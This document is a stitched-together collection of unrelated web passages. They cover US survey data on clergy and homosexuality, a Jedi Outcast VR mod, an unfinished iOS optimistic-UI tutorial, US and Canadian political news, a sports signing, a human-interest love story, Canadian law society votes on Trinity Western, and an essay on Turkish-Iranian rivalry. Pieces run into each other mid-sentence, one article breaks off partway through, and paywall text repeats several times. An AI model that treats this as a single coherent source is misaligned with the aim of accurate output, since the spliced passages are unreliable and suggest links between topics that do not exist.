Americans say they do not know whether these non-evangelical Protestant churches are friendly to LGBT people or not. Among white mainline Protestants themselves, a plurality (43%) say non-evangelical Protestant churches are at least somewhat unfriendly to LGBT people, compared to roughly one-third (35%) who say they are friendly.
Places of Worship and Teachings about Homosexuality Compared to five years ago, fewer Americans today are hearing about the issue of homosexuality from their clergy, and among those who do, fewer are hearing negative messages. Among Americans who attend religious services at least a few times per month, only about four in ten (42%) report hearing their clergy speak out about homosexuality, compared to a majority (56%) who say their clergy do not speak about this issue. This represents a significant decline from 2011, when a slim majority (51%) reported their clergy had spoken out about homosexuality. Americans who report hearing about homosexuality—and attend services regularly—are much more likely to report their clergy teach that homosexuality is morally wrong (60%) as opposed to teaching that it is morally acceptable (13%), but about one-quarter (24%) report that their clergy are not taking a position on the issue. This also represents a notable shift from 2011, when nearly eight in ten (77%) regular service attenders reported that their clergy were teaching that homosexuality is morally wrong, compared to only 5% who were teaching it is morally acceptable and 16% who were not taking a position. No religious group is more likely to hear about homosexuality from their clergy than black Protestants. 1 A majority (55%) of black Protestants who attend services monthly or more say they have heard their clergy speak out about this issue. At the other end of the spectrum, fewer than four in ten white mainline Protestants (38%) and Catholics (37%) say their clergy ever talk about this issue. Even among white evangelical Protestants, who hold the most conservative views on same-sex marriage, only 43% report hearing their clergy speak out on this issue. 1 Sample size is less than 100 (n=96). Interpret results with caution.Who here loved Jedi Knight II: Outcast? I will raise my hand to that, for sure! It was an awesome game. In fact, it has been considered to be one of the best games in the Star Wars franchise history, so I am not alone in my love of it. They just don’t make them like they used to, right? Well, this new game mod let’s you experience the greatness of the game in VR (Raven). Talk about old meeting new!
Modder Jochen Leopold has crafted a VR mod for the 2002 classic Jedi Knight II: Jedi Outcast. The mod itself is playable on the Oculus Rift and uses a gamepad for control instead of the Rift’s Oculus Touch controllers. Less than a month ago, the first Jedi Outcast VR version was released, but he’s not going to stop there. He’s still working on it and you can expect there to be more updates, more versions, and other details coming out.
From Jochen on the project:
“I was able to reuse a lot of code I wrote for the VR support of Jedi Academy.
Currently there is NO Touch Controller support. I’m not sure how much work it would be and if it is even possible.”
Binary Download
https://github.com/xLAva/JediOutcastLinux/releases
CHANGES AND NEW FEATURES:
Free look during in-game cut scenes
Removed all forced camera rotations and a lot of camera movements
Improved game controller support (SDL2 Xbox Controller layout)
Auto detection of the Rift display position
Enabled first person lightsaber mode as default
Resized UI rendering
See it in action in this video:
(Visited 1,710 times, 1 visits today)Today, we are writing applications. And each application is connected to the Internet. Let’s just talk about those applications which are connected to the Internet. Often, when users perform some operation in the application, a server response is needed, so while this response is being performed, the user is staring at this:
Spinner
There’s no problem with that if you really need to have a server response, and you need to have 100% correct data only. But the thing is that there are a lot of times when we can easily avoid showing the spinner to the user, and trick the user, showing him what he wants to see rather than showing spinners during every user interaction, even if those spinners are cute.
Types of user interaction
Let’s look at user interactions from the perspective of user expectations. When doing some operations in the application, the user can’t be sure about the result — before a publication is opened, it’s hard to predict its contents. On the other hand, some operations are highly predictable for the user:
liking a favorite post
writing a comment
following/unfollowing another user
Often all these operations require an internet connection in order to be executed, and in badly designed applications, we often see a spinner after each operation. In very badly designed applications, we see a spinner which locks the whole application screen (and which we don’t have the ability to cancel).
Idea
Somehow we need to convince the user that these operations are performing immediately. And here we’ll explain how we do that in our applications.
This approach doesn’t require big architecture solutions from the start and can be implemented at any moment of the application development cycle, without any harm to the original. Still, there are few things which are not required, but highly recommended. These things aren’t new and you can find a lot of information about how to use them correctly and why you need to have them in your application.
Requirements
View Layer without logic
Taken from MVVM pattern. The main idea is that the View Layer doesn’t know anything about your business logic. All that this View Layer should care about are simple, plain objects, which have no business logic in them, or at least the View Layer shouldn’t know anything about it:
Updateable View Layer
The View layer should reflect any data changes that are performed in the data it renders. Let’s say a person’s name was changed. Your view should behave correctly, and be able to update itself when this happens. In our examples UIViewController will be the object which will respond to the changes in the model and will tell View to update itself with new data.
Request Manager
This is the object that is responsible for network operations in your application. You should have one (I hope you do). Also, it’s even better if your ViewController speaks with the Model layer, and the Model layer itself speaks with Request Manager. Again, this is not required, but this is how it works in our applications.
Application Structure
Here’s how(probably) your application works now. This is waaay too schematic, but you can update it with your own Structural Units.
So here’s what happens:
Model gets the data from internet
ViewController listens to the data from Model and updates View
User Performs some Action on the View
Spinner starts
View Controller tells Model to handle action
Model goes to the internet(to the |
president-elect last week on allegations compiled by a former British intelligence officer that are reportedly making the rounds in intelligence circles. The briefing included a two-page synopsis of the former MI6 agent's opposition research as an appendix to its main intelligence report on Russian meddling in the election.
The dossier alleges that Russians had obtained damaging personal and professional information about the president-elect and that Trump's aides and Russian intermediaries had been in contact for years.
"You know I hadn’t seen the reports, we were on the plane together, and I hadn’t read the news since then and as a matter of principle and national security I don’t comment on classified information," Obama said in an interview with NBC's Lester Holt shortly after the news broke.
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The president recapped his request that the intelligence community launch an investigation into the alleged Russian interference in the election in order to "prevent it from happening again."
"I ordered a report about Russia’s involvement in the hacking of the [Democratic National Committee] and passing on that information to WikiLeaks, because I felt it was important now that the election was over for everybody to understand exactly what happened in order to prevent it from happening again," Obama said.
Obama also expressed hope that the investigation into Russia's alleged interference, namely hacking and propaganda, would continue after he leaves office and that the president-elect takes the intelligence reports "seriously."
"And my expectation and my hope is that this work will continue after I leave; that Congress in possession of both the classified and unclassified reports, that the president elect and his administration — in possession of both the classified and unclassified reports — will take it seriously and now get to work reinforcing those mechanisms that we can use to protect our democracy," he said.Share the News
Maryland is fine with decriminalizing marijuana. But Gov. Larry Hogan isn’t onboard with penalties passed by the legislature because of worries about people getting stoned while driving.
Hogan vetoed SB 517, which would have legalized marijuana paraphernalia, and made smoking weed in a public place a civil offense.
The bill was designed to clear up confusion that arose in connection with the marijuana decriminalization laws passed last year. However, Hogan still sees a cloud hanging over the measure.
In a veto statement, Hogan said the bill effectively eliminates penalties for getting high while driving.
If the bill became law, Hogan wrote, police “would be left with no authority to make a traffic stop if they see someone smoking marijuana while driving.”
He said the veto was requested by groups that represent law enforcement.The Tampa Bay Rowdies are returning midfielders Justin Chavez and Keith Savage, the club announced Tuesday. The signings are pending league and federation approval.
Both players were key contributors to the Rowdies’ midfield in 2016, and Savage will be returning for his seventh season with the club.
“These players are very important for us,” Rowdies Head Coach Stuart Campbell said. “They understand the culture we’ve built here and have contributed greatly both on and off the field. Keith has been here for a long time and Justin is back for his third season, so we expect great things in 2017 from both experienced players.”
Savage, one of just four members of Tampa Bay’s 100-appearance club, has been with the team since 2011. Savage’s three goals in 2016 elevated him to fifth place on the Rowdies’ all-time scoring chart with 15 career goals for Tampa Bay. After missing 2015 because of a knee injury, Savage bounced back in 2016, making 16 appearances, including nine starts.
Chavez returns for his third season with the Rowdies, having made 22 appearances for the Rowdies last year. 2016 featured Chavez’s first professional goal, scored on September 3, as well as two assists as he asserted himself in his natural position as a holding midfielder.
Valued for his versatility, Chavez has served as a fill-in center back, right back and left back in his time with the Rowdies, but established himself as a holding midfielder in 2016.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
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"Whether that was staged, we don't know," Falk said in a recorded interview with the Carillon.
Ted Falk told a weekly newspaper an encounter last winter, in which Evan Wiens was subjected to homophobic slurs as he spoke to reporters outside his school, may have been staged by Wiens.
The Conservative candidate in a federal byelection in rural Manitoba came under fire Thursday for suggesting the bullying of a gay high school student may not have been real.
Hey there, time traveller! This article was published 21/11/2013 (1922 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 21/11/2013 (1922 days ago), so information in it may no longer be current.
The Conservative candidate in a federal byelection in rural Manitoba came under fire Thursday for suggesting the bullying of a gay high school student may not have been real.
Ted Falk told a weekly newspaper an encounter last winter, in which Evan Wiens was subjected to homophobic slurs as he spoke to reporters outside his school, may have been staged by Wiens.
"Whether that was staged, we don't know," Falk said in a recorded interview with the Carillon.
"By the kids?" reporter Chris Gareau asked.
"By the organizers, yeah," Falk responded.
Falk's Liberal opponent, Terry Hayward, demanded an apology.
"I would love to have him apologize... to a young man who has put up with a lot," Hayward said. "There are unproven statements, as I understand it, and this is victimizing a guy who has already been victimized once or twice."
Falk declined an interview request. An email sent from his campaign account to The Canadian Press did not address the question of why he thought the bullying may have been a setup.
"I have no idea if it was staged or not. What I do know is that bullying is serious and I'm proud to be part of a Conservative team that introduced legislation... to help combat this," the email stated.
Falk is running in Provencher, a Conservative stronghold southeast of Winnipeg last held by Vic Toews, former public safety minister. Polls have suggested Falk is set to win the seat by a large margin.
Wiens, 17, became widely known in Manitoba last winter as he pushed for the right to set up a gay-straight alliance in his high school in Steinbach. On two occasions, as he was interviewed by television crews in front of the school, fellow students yelled slurs at him as they walked or drove by.
Wiens said Falk's comments were the first time anyone has suggested he might have arranged the event.
"I was really just confused," Wiens said Thursday.
"Like, I'm going to tell these kids, 'Oh yeah, you should probably come and purposefully bully me so I could get some attention?' That was not my intent whatsoever and it was not staged."
Wiens has worked on Hayward's campaign both this year and in the 2011 general election, but said that should not affect how Falk treats him.
Falk's comments drew criticism on Twitter from people including comedian Rick Mercer.
"Why did he suggest the kid being bullied was manufactured? Based on what? He's mixing it up with a hs (high school) student?" Mercer tweeted.
The Provencher campaign had, until Thursday, been a subdued affair compared to the drama that has unfolded at the other end of the province. Polls in Brandon-Souris suggest a very tight race between Conservative Larry Maguire and Liberal Rolf Dinsdale.
Some residents in the riding received a letter this week from Conservative party headquarters, signed by Prime Minister Stephen Harper, which blasts the Liberals.
The letter accuses Liberal Leader Justin Trudeau of having a "high-tax agenda" and accuses Dinsdale, who recently moved back to his hometown from Toronto, of only returning to run for office.
— The Canadian PressThis couple’s beautiful love story compels us to believe in destiny. What else could it be that united these two people together, who were initially separated by thousands of miles?
The United States is 8,222 miles (13,232 km) apart from the Philippines, but serendipity brought Tyrel Wolfe from Idaho and Joana Marchan from Quezon City together.
Sixteen years ago, when Tyrel Wolfe was a 7-year-old kid, he sent shoeboxes filled with school supplies, toiletries, and small toys as a Christmas gift to children in various countries through the international humanitarian organization Samaritan’s Purse.
His Christmas shoebox, filled with supplies, together with a photo of himself in cowboy gear, landed in the hands of Joana Marchan, among the billions of people in this world!
Joana sent Tyrel a thank you note, but somehow, the note never reached him. Even after more than a decade, she had not forgotten the cowboy Tyrel Wolfe, as the box “meant so much to her.”
In 2011, after 14 years, a mysterious force united these two strangers when Joana finally located Tyrel on Facebook.
Like long-lost friends, Joana and Tyrel “clicked” upon their first correspondence. They shared many common interests, such as listening to Christian music and their religious faith.
They interacted with each other via Facebook for a year before Tyrel decided to make a trip to the Philippines—specifically Quezon City in Manila—for 10 days, using his savings, to pay Joana a visit.
But it was all worth it.
The moment they met each other in real life, they felt destined to be together, and fell in love right away.
“Once I saw his face, an amazing feeling came over me,” Joana recalled. “I was so happy I cried.”
“All I knew was Joana was the one,” Tyrel told Samaritan’s Purse.
And soon, Tyrel returned to the Philippines to propose marriage. The two finally pledged sacred, lifetime marriage vows on Oct. 5, 2014.
Knowing the strong and powerful effect of giving, after experiencing it themselves, they requested their guests to pack Christmas boxes to give to Samaritan’s Purse for children overseas.
“Operation Christmas Child is what brought Joana and me together, so we wanted to somehow make the project a part of our celebration,” Tyrel said.
And the couple brought these donations all the way to the organization’s North Carolina headquarters.
Who would have believed a Christmas gift would be the start of a beautiful love story? Somewhere, there is a divine matchmaker who brings two people together.
Couples announce they’re having a baby in creative ways. Their family’s reactions—hilariousNova Scotia's law society has voted to approve accreditation of Trinity Western University law school, but only if it drops the controversial policy prohibiting same-sex intimacy that some say is discriminatory.
Ten members of the council of Nova Scotia Barrister's Society voted to conditionally accredit, while nine voted against allowing graduates from the faith-based Trinity Western University to practise in the province.
The decision follows that by Ontario's law society to refuse to accredit the new law school.
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There are about 1,900 practicing lawyers in Nova Scotia.
It is expected that the principals at Trinity Western will mount legal challenges to the decisions by provincial law societies.
The rebuke by Ontario was a major setback to Trinity Western University's ambitions, coming from the largest and oldest law society in Canada, which counts some 46,000 lawyers as members and has never denied such a request. And it is sure to bolster determined opposition to the law school, including a court challenge, from lawyers and gay rights advocates who say it would unfairly exclude homosexuals.
Many benchers for the LSUC still struggled with the decision as the second of two days of debate ended on Thursday. Several argued that they felt legally obliged to approve the proposed school because deeply held religious beliefs should not be easily trumped by competing equality rights. But the society ultimately voted 28 to 21, with one abstention, against accrediting the private evangelical Christian school.
Trinity Western's president, Bob Kuhn, vowed to proceed with the plan to open the school in 2016 in spite of the LSUC's decision, even as he suggested the vote "can't help but have a chilling effect on the freedom with which Christians, especially evangelical Christians, feel a part of the society."
The law society's ruling could create turmoil on a national scale. Some lawyers have voiced concerns that having some provincial law societies deny accreditation when other provincial societies have granted it could threaten a new national mobility regime that allows lawyers licensed in one province to practise across Canada. The system took more than a decade to establish, and leaders of the Law Society of Alberta have warned that a decision such as the LSUC's could pose a "direct threat" to mobility agreements.
Anger over Trinity Western's plans has focused on the university's community covenant, a document requiring all staff and students to abstain from "sexual intimacy that violates the sacredness of marriage between a man and a woman." Detractors say allowing Trinity Western to train only those law students who agree to abide by the covenant is discriminatory.
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The debate at Ontario's law society split between those who emphasized the need to uphold current laws that have long allowed Trinity Western to teach professional programs, and who favoured accrediting the law school, and those who see legal opinions on same-sex relationships as rapidly evolving, and felt the society needed to embrace changing attitudes.
"I don't think we should take even a millimetre of a step backward," bencher John Campion said. "We can't do it."
Twenty voting benchers sided with William McDowell, who argued at an April 10 meeting on the issue that religious freedom should not easily be trumped by equality concerns, even as many showed reservations about how to strike the right balance. By refusing accreditation, the LSUC would be voting "to bar students of our profession because they are adherents of a faith," Mr. McDowell said.
Furthermore, the diversity that law societies strive to nurture in the profession "includes those with religious beliefs that may be contrary to our own," bencher Barbara Murchie said.
Yet even after an hour-long appeal from Mr. Kuhn, the majority disagreed. "I cannot vote to accredit a law school which seeks to control students in their bedrooms," bencher Howard Goldblatt said.
That leaves the future of Trinity Western's proposal more uncertain than ever. The Law Society of B.C. voted 20 to six to accredit the school on April 11, but this week, criminal lawyer Michael Mulligan collected 1,303 signatures on a petition that will force a special general meeting of the society's whole membership within 60 days to revisit the issue. The Nova Scotia Barristers' Society will vote on Friday on whether to accredit the new law school.
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Earlier this month, lawyers in B.C. and Ontario sued the B.C. government in an effort to overturn its approval of Trinity Western's proposal. A university spokesperson said Trinity Western is reviewing its legal options.
With a report from Andrea Woo in VancouverOstensibly, the 312-mile border between Turkey and Iran has been one of the most stable and peaceful in the volatile Middle East. Recent years have often seen official language from the two countries about prospering bilateral trade and common anti-Israeli ideological solidarity. But mostly out of sight have been indications of rivalry, distrust, and mutual sectarian suspicion between the two Muslim countries—factors that have proved a formidable obstacle to a genuine Turco-Iranian friendship.
Iran's president Hassan Rouhani (left) shakes hands with Turkish prime minister Recep Tayyip Erdoğan during a visit to Tehran, January 20, 2014. Diplomats from both countries often speak of "very good and brotherly relations" between the two countries. In 2006, the Transatlantic Trends Survey found that Turks felt twice as warm toward Iran as they did toward the United States. But there are factors that have proved a formidable obstacle to a genuine Turco-Iranian friendship.
Facts vs. Official Euphemism
Visiting Turkish and Iranian state dignitaries have frequently parroted the cliché that the Turkish-Iranian border has remained unchanged, an expression of "very good and brotherly relations" between the two countries.[1] The Turkish Ministry of Foreign Affairs' webpage describes the bilateral ties glowingly: "The Turkish-Iranian political relations have since 1979 [the Islamic Revolution in Iran] steadily risen. This should be attributed not only to a common historical and cultural basis but also to common interests and good neighborly relations."[2] In various public statements, Turkish foreign minister Ahmet Davutoğlu has spoken of "a very long, common history Turkey and Iran have shared."[3]
In 2006, the Transatlantic Trends Survey found that Turks felt twice as warm toward Iran as they did toward the United States.[4] According to pollsters Taylor Nelson Sofres, (a) 72 percent of Turks blamed the 2006 Lebanon war on Israel (compared to 59 percent of Lebanese); (b) excluding Israel and Lebanon, 64 percent blamed the war on the United States (compared to a world average of 34 percent); and (c) 44 percent sympathized with Hezbollah in the Israel-Lebanon war while only 10 percent sympathized with Israel.[5] But against this backdrop is the reality that most of Turkey's ruling elite are devout Sunnis, and since the advent of Islam, Shiites and Sunnis have only allied against "infidels," and otherwise have fought bloody wars against each other as they still do.
A full-scale war was fought in 1733 when the Persians fought to take Baghdad from the Ottomans. The Zand dynasty attacked Ottoman Basra in 1775, a conflict that lasted until 1821 when another war broke out until 1823. In 1840, conflict arose over control of what is today Iran's Khorramshar. The modern era is little different. Iran supported Kurdish uprisings in 1930 and in subsequent disputes over the border. Secular and leftist Turkish intellectuals were allegedly killed by Iranian cells as part of efforts to export the Islamist regime. The Iranian fight against the Kurdistan Workers' Party (PKK) has been only conjectural since the Tehran regime systematically harbored the PKK before it decided Kurdish separatism also threatened its own security. Finally, there is the realization among some in Turkey that an eastern neighbor with nuclear weapons offers a threat rather than simply a trading partner and a supplier of natural gas and crude oil.
Cracks in the Facade
In recent years, a major public chink in Turkey and Iran's bilateral relations emerged due to sectarian divisions after Turkish prime minister Recep Tayyip Erdoğan spearheaded international efforts to depose Syrian president Bashar Assad, Tehran's man in the Levant. That support also deeply strained Turkey's ties with Iraq where the Shiite prime minister Nouri al-Maliki undiplomatically warned in 2012 that "Turkey was becoming a hostile state."[6]
Turkey's "passage to Persia" cracked in March 2011 when Ankara informed the United Nations Security Council that it had found weapons and ammunition aboard an Iranian cargo plane bound for Syria.[7] The cargo included rocket launchers, mortars, rifles, explosive materials, and ammunition—a breach of U.N. resolutions banning Tehran from exporting arms. During the summer of 2011, one official Iranian newspaper accused Turkey of systematically providing "Syrian terrorists" with arms, a claim that was repeated more than two years later by the Fars News Agency.[8] Shortly after the first public accusation, Sobh'eh Sadegh, an Iranian Revolutionary Guards media outlet, sternly warned Ankara about its stance against Syria, emphasizing that Iran stood squarely with the Assad regime: "Should Turkish officials insist on their contradictory behavior, and if they continue on their present path, serious issues are sure to follow."[9] The report also stated that, if necessary, Iran would choose Syria over Turkey. Sobh'eh Sadegh further alleged that "Syrian protestors are puppets of Zionists and the United States." Turkey replied by raising the stakes when security officials intercepted another arms shipment from Iran destined for Syria (or Lebanon and Hezbollah). This time Iran had preferred a land route; a truck full of weapons was stopped in Kilis near Turkey's Syrian border.[10]
But before and after the Syrian split, there was a curious if discreet military rivalry with both sides pretending, once again, to be "Muslim brothers" while playing games behind closed doors. In February 2010, then-U.S. ambassador to Ankara James Jeffrey said that "he was skeptical Turkey can persuade Iran to abandon any ambitions it might have for a nuclear bomb."[11] Only a month later, Erdoğan told the BBC that he believed Tehran had no intention of developing nuclear weapons, and "he had full confidence in Iran's guarantees that its nuclear program was for civilian purposes only."[12] Erdoğan (and Davutoğlu) have also always defended Tehran's nuclear program on the grounds that, first and foremost, Israel should dismantle its nuclear arsenal.[13]
There was public Turkish sympathy for Iran's nuclear program as well. According to Transatlantic Trends, Turks in 2011 were the least worried among NATO nationals about Tehran acquiring a nuclear weapon. Only 38 percent of them said they were troubled by Iran becoming a nuclear power while 25 percent accepted that Tehran could acquire nuclear weapons.[14] But Turkey's security bureaucracy discreetly viewed an Iran with nuclear ambitions and missile capabilities as an increasing threat.[15]
Ankara raised the stakes in its relations with the Islamic Republic by deploying a mini-missile defense system in southeastern Turkey, causing an uproar in Tehran. "The deployment of Patriot missiles in Turkey will play no role in [maintaining] Turkey's security and will be harmful to Turkey," an Iranian defense official said.
The Military Rivalry
In late 2011, Turkey's state scientific research institute, TÜBITAK, reported that its scientists would soon finish an all-Turkish missile with a range of 1,500 km (approximately 930 miles), and in 2014, another with a range of 2,500 km (approximately 1,550 miles). The head of TÜBITAK said the order for the missile program had come from Erdoğan.[16]
Apparently, the Turco-Persian sectarian rivalry was heating up as Tehran already had 1,300-km (approximately 800 miles) Shahab-3 missiles in its inventory. A year later, Ankara raised the stakes by deploying a mini-missile defense architecture in southeastern Turkey, causing an uproar in Tehran.[17]
The system, owned by NATO and deployed presumably to protect Turkey from the threat of Syrian chemical-biological attack, is made up of six Patriot anti-missile batteries. But contrary to how it was portrayed, the Patriot umbrella would not primarily protect three and a half million Turks in the area but rather a U.S.-owned, NATO-assigned radar deployed there the previous year—directed not at Syria but at Iranian ballistic missiles.[18] The mission for the early warning missile detection and tracking radar system is to provide U.S. naval assets in the Mediterranean with information in case of an Iranian missile launch targeting an ally or a friendly country, including Israel. Anti-missile protection over the NATO radar in Kurecik is essential for the alliance.
Turkish and NATO officials claimed that the location of the Patriot batteries (Adana, Gaziantep, and Kahramanmaras) and the radar at Kurecik made any connection between the two impossible. But the Patriot is a road mobile system, so it would not be difficult to dismantle a battery and re-deploy it closer to Kurecik in a matter of hours. It was Iran, not Syria, which twice threatened to attack the NATO system since the Patriots guarding the NATO radar are a threat to the joint Iranian-Russian offensive missile capabilities, which these NATO assets could theoretically neutralize. The only possible vulnerability is if Iran launched its Sejil missiles from a distance of 1,600-1,700 kilometers (990-1,050 miles).
In other words, the Patriots would never be launched for defense unless the enemy—Iran, for instance—first launched its missiles to attack. Tehran's unease over the deployment of the NATO radar and the mini-missile defense architecture that will protect it from enemy fire looked like neighbors protesting and threatening to fight just because the folks next-door had installed burglar alarms.
The Enemy of My Enemy…
But despite missile problems, Turkey and Iran had other reasons to cooperate, including their anti-Israeli policy and bilateral trade. In February 2011, Iranian president Mahmoud Ahmadinejad hosted a delegation in Tehran from the disastrous Turkish "relief ship" Mavi Marmara. The delegation participated in Iran's Revolution Day ceremonies, and its head, Nureddin Sirin, noted: "We are here today with the longing and the determination to build a Middle East without Israel and America, and to refresh our pledge to continue on the path of the Mavi Marmara shahids [martyrs]."[19] On February 12, the same Mavi Marmara activists reiterated "the promising words of the president of the Islamic Republic of Iran … that 'only a short time is left for the building of a Middle East without Israel or America in it, and we are praying for the quick arrival of that bright day, when all of us will meet in a free al-Quds [Jerusalem].'"[20]
Such language was not unfamiliar to Iran's then-president Ahmedinejad, who declared in 2006 that the "Zionist regime will be wiped out soon the same way the Soviet Union was."[21] In 2007, the Iranian government's English broadcast service reported that Ahmadinejad suggested holding a referendum on the transfer of Israel's Jews to Europe, Canada, or Alaska.[22] Then in 2008, he said that the "idea of'smaller Israel' is also dead. The very notion of Israel is dead … Just like the idea of Greater Israel died 30 years ago."[23] This was followed by his prediction that the "Zionist regime … will soon disappear from the geographical scene"[24] and that "attempts will not save Israel from extinction."[25]
Turkish leaders echo these sentiments. Davutoğlu predicted that "al-Quds will soon be the capital of Palestine, and we'll all pray at al-Aqsa Mosque."[26] In 2010, the Turkish minister said, "Israel will not be able to remain over time an independent country."[27]
The difference between the rhetoric of Ahmadinejad and Davutoğlu is that the fiery Iranian was talking about "no Israel" in plain language while the milder Turk was talking about a "smaller Israel" in subtle language. It was not a coincidence that Iran's supreme leader Ayatollah Khamene'i and Erdoğan took the first two slots on the Simon Wiesenthal Center's annual list of the top 10 anti-Semitic and anti-Israel slurs of 2013.[28]
Money Has No Sect
Trade is another pillar of the improved relationship between Ankara and Tehran. Annual two-way trade is now estimated to be worth $15 billion though it shrank by around $5 billion from 2012 due mainly to international sanctions on Iran. Analysts say the real trade volume may be much higher since a wave of corruption charges in December 2013 alleged that Turkish officials and the state-owned Halkbank have been helping Iranian businesses dodge international sanctions. Since the United States and European Union countries imposed sanctions on Iran in 2010, financial operations and transactions with Tehran have been severely restricted.[29] As of March 2012, Iran has also been banned from using the SWIFT international money-transfer system.[30]
Thus it became impossible to transfer money to and from Iran. Since Ankara was unable to pay for the natural gas and oil it has been buying from Tehran through routine channels, it opened a bank account for Iran at Halkbank to hold the amount equivalent to its purchase. Tehran converted the deposits in these accounts to gold, later transferring it back to the country. Iranian exports still reach Turkey, and the proceeds fund the purchase of gold and silver that flow back to Tehran. In turn, Turkey's fast-growing economy needs Iran's oil and gas, its investments, and large export market. During Iranian foreign minister Javad Zarif's state visit to Ankara in January, Turkish and Iranian officials pledged to increase their trade to $50 billion in the medium-term.[31] In December, The Tehran Times quoted Umit Yardim, Turkish ambassador to the Iranian capital, as saying that the two countries were targeting $100 billion in annual trade.[32]
Blessed Are the Peace-makers
Iranian president Hassan Rouhani's charm offensive has resonated not only in Western capitals but also in Ankara. Although Davutoğlu's early successes in boosting Turkey's regional and global status as the East-West bridge were largely eclipsed in the near past, now could be an opportunity to revive that role as the former Persia slowly emerges from isolation. What better gateway than Turkey?
In addition, a return to the usual official language and a freezing of hostilities could also help Ankara achieve a parallel rapprochement with Baghdad. As a senior Turkish diplomat recently told this author, "The key to Baghdad and, to some extent, to [Iraqi Kurdish capital] Erbil is probably in Tehran."[33] That key may not only open political doors in Baghdad but also serve as an economic gateway at a time when a big oil deal with Iraqi Kurdistan hangs in the balance, pending approval from the central authority.[34]
Moreover, Rouhani's more moderate government might give Ankara a chance for leveraging a deal in war-torn Syria and reduce the risk that Erdoğan's government could lose votes in the three upcoming elections because of new—especially Syria-related—foreign policy embarrassments. Turkish pollsters found that 65 percent of Turks supported Davutoğlu's policies in 2011, the same year that Erdogan's Justice and Development Party (Adalet ve Kalkınma Partisi, AKP) received 49.8 percent of the national vote.[35] But in late 2013, support for Davutoğlu had plummeted to 25 percent, and a Syrian deal could help.[36]
Some Turkish diplomats believe that better relations with Tehran could also raise Ankara's face value in the West. They expect Western encouragement for the Turkish-Iranian rapprochement, which could bring economic development to Iran and thus bolster moderates in Tehran.
On the nuclear issue, the Turkish government unequivocally welcomed the interim deal concluded in November 2013 between Iran and the permanent members of the U.N. Security Council plus Germany (P5+1). The Turks would be happy if Tehran were to abandon its nuclear ambitions; should the interim agreement be successfully implemented and made permanent after six months, a major security threat could disappear from Turkey's doorstep. Another perceived benefit for Ankara, albeit symbolic, is that it sees the interim agreement as an exoneration of its failed attempt in 2010 to broker an agreement with Tehran with help from the Brazilian government on the disposition of nuclear fuel. This support was evident in the Ministry of Foreign Affairs' statement on the interim deal: "The agreement … constitutes the first concrete, positive development concerning Iran's nuclear program since the Tehran declaration of 2010."[37]
Turkish foreign minister Ahmet Davutoğlu (center) meets with his Serbian and Bosnian counterparts, Vuk Jeremic (left) and Sven Alkalaj, at a meeting in Ankara. Turkey's regional ambitions pose a major obstacle to more stable and peaceful relations with Tehran. In a speech in Sarajevo in October 2009, Davutoğlu said: "[W]e will make the Balkans, the Caucasus, and the Middle East, together with Turkey, the center of world politics."
Nothing New on the Eastern Front
Still, relations with Iran have never been easy for Turkey. There are many unknowns and much mutual distrust. Ankara is not sure how much Tehran would be willing to appreciate or highlight Turkey's services in administering the nuclear deal and in helping it emerge from long years of isolation. Turks also fear that Erdoğan's (and to a certain extent, Davutoğlu's) obsession for an "Assad-less, Muslim Brotherhood-run Syria" may change newfound balances with Iran. A real game-changer toward more comfortable ties could be a decision to terminate the deployment of the NATO radar on Turkish soil, but there are no indications of that yet.
Ankara's regional ambitions also pose a major obstacle to more stable and peaceful relations across the border. In a speech in Sarajevo in October 2009, Davutoğlu said: "Like in the 16th century, which saw the rise of the Ottoman Balkans as the center of world politics, we will make the Balkans, the Caucasus, and the Middle East, together with Turkey, the center of world politics in the future. This is the objective of Turkish foreign policy, and we will achieve this."[38]
In an April 2012 speech, Erdoğan was even more specific:
On the historic march of our holy nation, the AK party signals the birth of a global power and the mission for a new world order. This is the centenary of our exit from the Middle East … whatever we lost between 1911 and 1923, whatever lands we withdrew from, from 2011 to 2023, we shall once again meet our brothers in those lands.[39]
But this same vision antagonizes Tehran. Though the Turkish dreams of a new world order based on the supremacy of Turkish Sunni Islamism have recently foundered against regional and global realities, Ankara has not abandoned its hopes for a Sunni bloc—a group of satellite states paying servitude to the emerging Turkish empire. Nor for that matter have the Iranians abandoned their hold on a Shiite crescent opening up to the Mediterranean Sea. These two ambitions, rooted as they are in historical sectarian rivalries, are fundamentally unbridgeable although they may recede from time to time.
All the same, from the Turkish perspective, one external factor could be Turkey's domestic politics. If the ruling AKP loses votes in local elections on March 30, 2014, Turkey's entire political landscape, including foreign policy-making, could change. A series of corruption scandals and a growing feud between Erdoğan and powerful Muslim cleric Fethullah Gülen—until 2012, one of Erdoğan's most important allies—may be eroding the AKP's popularity. Erdoğan, elected three times as prime minister since 2002, has pledged to quit party leadership this year due to a self-imposed rule that limits politicians to three parliamentary terms.
But Erdoğan is not really planning retirement; he is hoping at least to maintain (or preferably boost) his popularity in the March elections and use this success as a stepping-stone to run for president in summer 2014. Under this grand plan, the AKP wins a constitutional majority in parliamentary elections in 2015 and amends the constitution to introduce an executive presidential system, equipping Erdoğan with Putinesque powers, as opposed to the present symbolic role for the president.
But a significant drop in the AKP's support in March could ruin that plan. Some party dissidents, wary of Erdoğan's increasingly authoritarian rule, are secretly hoping that senior, moderate politicians within the party ranks will confine him to the present, powerless presidency and launch AKP version 2.0 based on a more pluralistic, less confrontational doctrine. If that happens, foreign policy czar Davutoğlu may lose his seat, and Turkey could adopt a less assertive regional policy—good news for Tehran. But with or without AKP 2.0 (or Davutoğlu), if Ankara maintains the foreign minister's policy principles, the two countries are likely to go back to their silent war for regional power and sectarian dominance.
In all likelihood, the neo-Safavids will keep on playing chess while the neo-Ottomans play passionate sets of backgammon.
